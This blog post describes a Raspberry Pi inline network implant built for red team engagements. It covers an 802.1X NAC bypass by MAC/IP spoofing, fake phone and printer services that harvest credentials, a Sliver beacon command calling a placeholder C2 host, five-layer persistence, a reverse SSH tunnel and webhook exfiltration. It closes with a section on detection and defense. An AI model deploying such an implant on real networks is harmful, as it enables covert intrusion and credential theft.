TrashPandaPaws: A Raspberry Pi Red Team Network Implant

Physical implants are the quietest way into a network. Drop a small device inline between a switch port and a legitimate host, let it bridge traffic transparently, and the network barely notices a new participant. TrashPandaPaws is a Raspberry Pi 4 based inline Ethernet tap built for authorized red team engagements. It sits between a PoE switch port and the target device, extracts power from the Ethernet cable, bridges all traffic at Layer 2, and phones home through a Sliver C2 beacon while hiding behind a convincing cover identity as either a Cisco IP Phone or an HP LaserJet printer.

The project covers the full stack: custom PCB hardware with PoE extraction, 802.1X NAC bypass, dual cover identities with working protocol emulation, credential harvesting, multi layer persistence, and encrypted C2 channels. Everything runs on ParrotOS ARM64.

The source code lives at github.com/BenjiTrapp/TrashPandaPaws.

TrashPandaPaws is built for authorized red team engagements only. Everything below assumes you have explicit written permission to test the network you are targeting.

How It Works

The implant sits inline between a switch port and a target device. The upstream port connects to the switch and extracts PoE power, while the downstream port connects to the target. A transparent Layer 2 bridge ensures all traffic flows through without interruption. Meanwhile, the implant sniffs packets, runs cover services, and maintains a C2 channel back to the operator.

flowchart LR
    SW["Switch port\nPoE 802.3af"] -->|Cat6| ETH0["Pi ETH0\nupstream"]
    ETH0 --> POE["PoE extraction\nSI3402-B"]
    POE --> POWER["5V 3A\nTPS54302"]
    ETH0 --> BR["L2 Bridge\nbr0"]
    BR --> ETH1["HAT ETH1\ndownstream"]
    ETH1 -->|Cat6| TARGET["Target device"]

    BR --> SNIFF["Packet sniffer\nBPF + PCAP"]
    BR --> COVER["Cover identity\nCisco / HP"]
    BR --> C2["Sliver beacon\nmTLS / HTTPS / DNS"]

The key design principle is transparency. The bridge forwards all frames including 802.1X authentication, so the target device stays authenticated and the network does not see a topology change. The implant’s own traffic exits through the upstream port using the victim’s MAC and IP credentials after NAC bypass completes.

Hardware: Two Generations

The project ships two hardware revisions: a HAT based prototype for rapid development and an integrated carrier board for production deployments.

V1: Raspberry Pi 4 + PoE HAT

The first version stacks two PCBs on a standard Raspberry Pi 4B. The bottom board is the Pi itself, and the top board is a custom HAT that provides PoE power extraction and a second Ethernet port via USB.

Component Part Purpose
SBC Raspberry Pi 4B 4GB Compute platform
PoE Controller SI3402-B IEEE 802.3af PD extraction
DC-DC Converter TPS54302 48V to 5V at 3A regulation
USB to GbE RTL8153B-VB-CG Second Ethernet port
Connector HR911105A RJ45 downstream jack
Header 2x20 2.54mm GPIO Pi HAT interface

Total height is about 25mm, total cost is around 75 USD. The USB adapter is the weak link: it adds latency and is visible as a USB device.

V2: Integrated CM4 Carrier Board

The second version is a single 85x56mm four layer PCB that replaces both the Pi and the HAT. It uses a Compute Module 4 socket and integrates PoE extraction, the RTL8153B USB GbE controller, dual RJ45 connectors, and a USB-C debug port on one board.

graph TB
    subgraph V2["V2 Integrated Carrier Board — 85x56mm"]
        CM4["Compute Module 4\nBCM2711 quad A72"]
        POE2["PoE extraction\nSI3402-B + TPS54302"]
        GBE2["RTL8153B\nUSB GbE on-board"]
        RJ1["RJ45 upstream"]
        RJ2["RJ45 downstream"]
        USB["USB-C debug/flash"]
        CM4 --- POE2
        CM4 --- GBE2
        GBE2 --- RJ2
        CM4 --- RJ1
        CM4 --- USB
    end

The V2 drops the height to about 10mm and the cost to around 53 USD. A single board also simplifies assembly and makes it easier to fit inside a cover enclosure.

Transparent Bridge and Traffic Capture

The bridge is the core of the implant. It connects eth0 (upstream, native Ethernet) and eth1 (downstream, USB GbE) into a single Layer 2 bridge br0. All frames pass through transparently, including EAPOL authentication frames that 802.1X uses.

Traffic capture uses Berkeley Packet Filter expressions to selectively sniff interesting traffic without drowning in broadcast noise. PCAP files rotate automatically for continuous logging without filling the SD card.

bridge:
  upstream: eth0
  downstream: eth1
  capture:
    enabled: true
    bpf_filter: "tcp port 80 or tcp port 443 or tcp port 21"
    pcap_rotate_mb: 50

The bridge is configured by configure_bridge.sh and managed at runtime by bridge_tap.py, which handles the BPF filtering and PCAP rotation.

802.1X NAC Bypass

Network Access Control using 802.1X is the biggest obstacle for an inline implant. The switch port authenticates the connected device before granting access. If you unplug the legitimate device and plug in the implant, the port shuts down.

TrashPandaPaws solves this in three phases:

sequenceDiagram
    participant SW as Switch
    participant IMP as Implant bridge
    participant VIC as Victim device

    Note over SW,VIC: Phase 1 — EAPOL forwarding
    VIC->>IMP: EAPOL Start
    IMP->>SW: EAPOL Start (bridged)
    SW->>IMP: EAP Request
    IMP->>VIC: EAP Request (bridged)
    VIC->>IMP: EAP Response
    IMP->>SW: EAP Response (bridged)
    SW->>IMP: EAP Success
    IMP->>VIC: EAP Success (bridged)

    Note over SW,VIC: Phase 2 — Discovery
    IMP->>IMP: Passive ARP sniffing
    IMP->>IMP: Learn victim MAC + IP
    IMP->>IMP: Learn gateway MAC + IP

    Note over SW,VIC: Phase 3 — Active bypass
    IMP->>SW: Implant traffic with victim MAC + IP
    Note over IMP: ebtables + iptables + arptables rewrite

In phase one, the bridge simply forwards all EAPOL frames between the victim and the switch. The victim authenticates normally, and the port stays open. In phase two, the implant passively sniffs ARP traffic to learn the victim’s MAC address, IP address, and the gateway’s MAC and IP. In phase three, ebtables, iptables, and arptables rules rewrite the implant’s outgoing traffic to use the victim’s credentials. From the switch’s perspective, only the authenticated device is talking.

nac_bypass:
  enabled: true
  discovery_timeout: 120

Dual Cover Identities

If someone runs a port scan or browses to the implant’s IP, they should see something boring. TrashPandaPaws ships two cover identities that present realistic protocol responses and device metadata.

Cisco IP Phone 7960

The Cisco cover emulates a VoIP phone. It runs three services:

Port Protocol Behavior
80 HTTP Cisco 7960 web configuration page
5060 SIP SIP REGISTER and OPTIONS responses
10000 RTP RTP audio stream responses

The HTTP interface returns a realistic Cisco phone status page with device serial numbers, firmware versions, and network configuration. SIP and RTP handlers respond with protocol correct messages so that a VoIP infrastructure scanner accepts the device as legitimate.

HP LaserJet MFP M478

The printer cover emulates a network multifunction printer with six services:

Port Protocol Behavior
80 HTTP HP Embedded Web Server with printer status
9100 PJL JetDirect print job language responses
515 LPD Line Printer Daemon
631 IPP/CUPS Internet Printing Protocol
161 SNMP Printer MIB with toner levels and page counts
23 Telnet Management console with login prompt

Both covers use real vendor OUI ranges for their MAC addresses via macchanger, so even a MAC vendor lookup returns the expected manufacturer. Both also include credential harvesting from login attempts and browser fingerprinting that collects Canvas, WebGL, WebRTC, timezone, and plugin data from anyone who visits the HTTP interface.

cover:
  enabled: true
  mode: "cisco_phone"    # or "hp_printer"

C2 Integration

The implant runs a Sliver beacon as its primary command and control channel. Sliver is an open source C2 framework that supports multiple transport protocols and is significantly harder to fingerprint than Cobalt Strike.

flowchart TD
    subgraph Implant
        SB["Sliver beacon\nARM64 Linux"]
        PB["Python fallback beacon"]
    end

    subgraph Operator
        SS["Sliver server"]
    end

    SB -->|mTLS| SS
    SB -->|HTTPS| SS
    SB -->|DNS| SS
    PB -.->|HTTPS fallback| SS
    PB -.->|DNS exfil| SS

The beacon is generated from the operator’s Sliver server as a native ARM64 Linux binary. It supports mTLS, HTTPS, and DNS transports with configurable jitter:

generate beacon --os linux --arch arm64 \
  --mtls c2.example.com:8888 \
  --http c2.example.com \
  --dns c2.example.com \
  --seconds 300 --jitter 20 \
  --skip-symbols --name raccoon \
  --save ./bin/implant

A Python fallback beacon provides autonomous operation if the Sliver binary is unavailable or detected. It supports HTTPS and DNS exfiltration channels independently.

Multi Layer Persistence

The beacon must survive reboots, service crashes, and partial remediation. TrashPandaPaws uses five independent persistence mechanisms with a PID lock to prevent duplicate execution:

Layer Trigger Delay
systemd service raccoon-beacon.service 30 seconds
crontab @reboot 45 seconds
rc.local Boot script 60 seconds
udev rule eth0 link up event 30 seconds
systemd timer Watchdog every 5 minutes Continuous

The first layer to start acquires a PID lock at /tmp/.raccoon_beacon.pid. All other layers check the lock and exit silently if the beacon is already running. The systemd timer acts as a watchdog: if all five instances die, the timer restarts the beacon within five minutes.

flowchart TD
    BOOT["System boot"] --> SD["systemd service\n30s delay"]
    BOOT --> CRON["crontab @reboot\n45s delay"]
    BOOT --> RC["rc.local\n60s delay"]
    NET["eth0 up"] --> UDEV["udev rule\n30s delay"]

    SD --> LOCK{"/tmp/.raccoon_beacon.pid\nacquire lock?"}
    CRON --> LOCK
    RC --> LOCK
    UDEV --> LOCK

    LOCK -->|First wins| RUN["Beacon running"]
    LOCK -->|Lock held| EXIT["Exit silently"]

    TIMER["systemd timer\nevery 5 min"] --> CHECK{"Beacon alive?"}
    CHECK -->|No| RESTART["Restart beacon"]
    CHECK -->|Yes| WAIT["Sleep 5 min"]

Staggered delays ensure the five layers do not race. The first layer to reach the lock wins, and the rest back off.

Remote Access

Beyond C2, the implant provides two direct access methods for interactive work.

SSH Reverse Tunnel uses autossh to maintain a persistent reverse tunnel to the operator’s server. The operator connects through the tunnel without needing inbound access to the target network:

# On the operator side
ssh -p 2222 root@localhost

VNC Server runs a headless x11vnc instance accessible only through the SSH tunnel. This provides a graphical desktop for tools that need a GUI, without exposing VNC to the network.

remote_access:
  ssh:
    ssh_enabled: true
    ssh_remote_host: "c2.example.com"
    ssh_remote_user: "raccoon"
    ssh_tunnel_port: 2222
    ssh_key_type: "ed25519"
  vnc:
    vnc_enabled: false
    vnc_port: 5900
    vnc_password: "raccoon"
    vnc_resolution: "1024x768"

Credential Capture and Notifications

Both cover identities harvest credentials from anyone who interacts with them. HTTP Basic Authentication attempts, Telnet login sequences, and browser fingerprints are all logged locally and forwarded to the operator in real time via webhooks.

notifications:
  enabled: true
  slack:
    enabled: true
    webhook_url: "https://hooks.slack.com/services/T.../B.../xxx"
  discord:
    enabled: true
    webhook_url: "https://discord.com/api/webhooks/123/abc"
  teams:
    enabled: true
    webhook_url: "https://tenant.webhook.office.com/webhookb2/..."

When someone browses to the fake printer page and enters credentials, the implant captures the attempt, logs it with a Cisco IOS style timestamp, and pushes a notification to the operator’s Slack, Discord, or Teams channel within seconds.

Quick Start

The setup runs on ParrotOS ARM64 and consists of four commands:

# Install dependencies and harden the OS
sudo ./software/setup/bootstrap.sh

# Configure the L2 bridge between eth0 and eth1
sudo ./software/setup/configure_bridge.sh

# Install systemd services and all persistence layers
sudo ./services/install.sh

# Activate everything
sudo reboot

After reboot, the C2 beacon starts automatically via the five persistence layers. No manual intervention required.

For development and testing without hardware, a local test server runs the cover identities on unprivileged ports:

python -m software.tests.test_server                  # Both covers
python -m software.tests.test_server --cover cisco     # Cisco only
python -m software.tests.test_server --cover printer   # HP only

The test server uses port 8080/8081 for HTTP and 15060 for SIP, so no root required.

Detection and Defense

From a blue team perspective, inline implants are detectable if you know what to look for.

Control What It Does
802.1X with MACsec MACsec encrypts the link layer, so a passive bridge cannot read or inject traffic
Port security Limit MAC addresses per port and alert on new MACs appearing downstream
DHCP snooping Detect rogue DHCP or unexpected ARP patterns from the bridge
Network device inventory Continuously scan for devices and flag anything not in the asset database
PoE monitoring Watch for unexpected PoE power draw changes on switch ports
Physical security Cable locks, locked patch panels, and regular physical audits of network closets
TLS inspection Decrypt and inspect HTTPS C2 channels at the perimeter
DNS monitoring Flag high entropy or high volume DNS queries that indicate DNS based C2

The most effective countermeasure is MACsec (IEEE 802.1AE). It provides hop by hop encryption at Layer 2, which means a transparent bridge cannot decrypt, sniff, or inject traffic even if it sits physically inline. Combined with 802.1X-2010 (which mandates MACsec key agreement), the implant is reduced to a dumb cable passthrough that cannot interact with the network at all.

Further Reading

Written on July 21, 2026


◀ Back to the Blog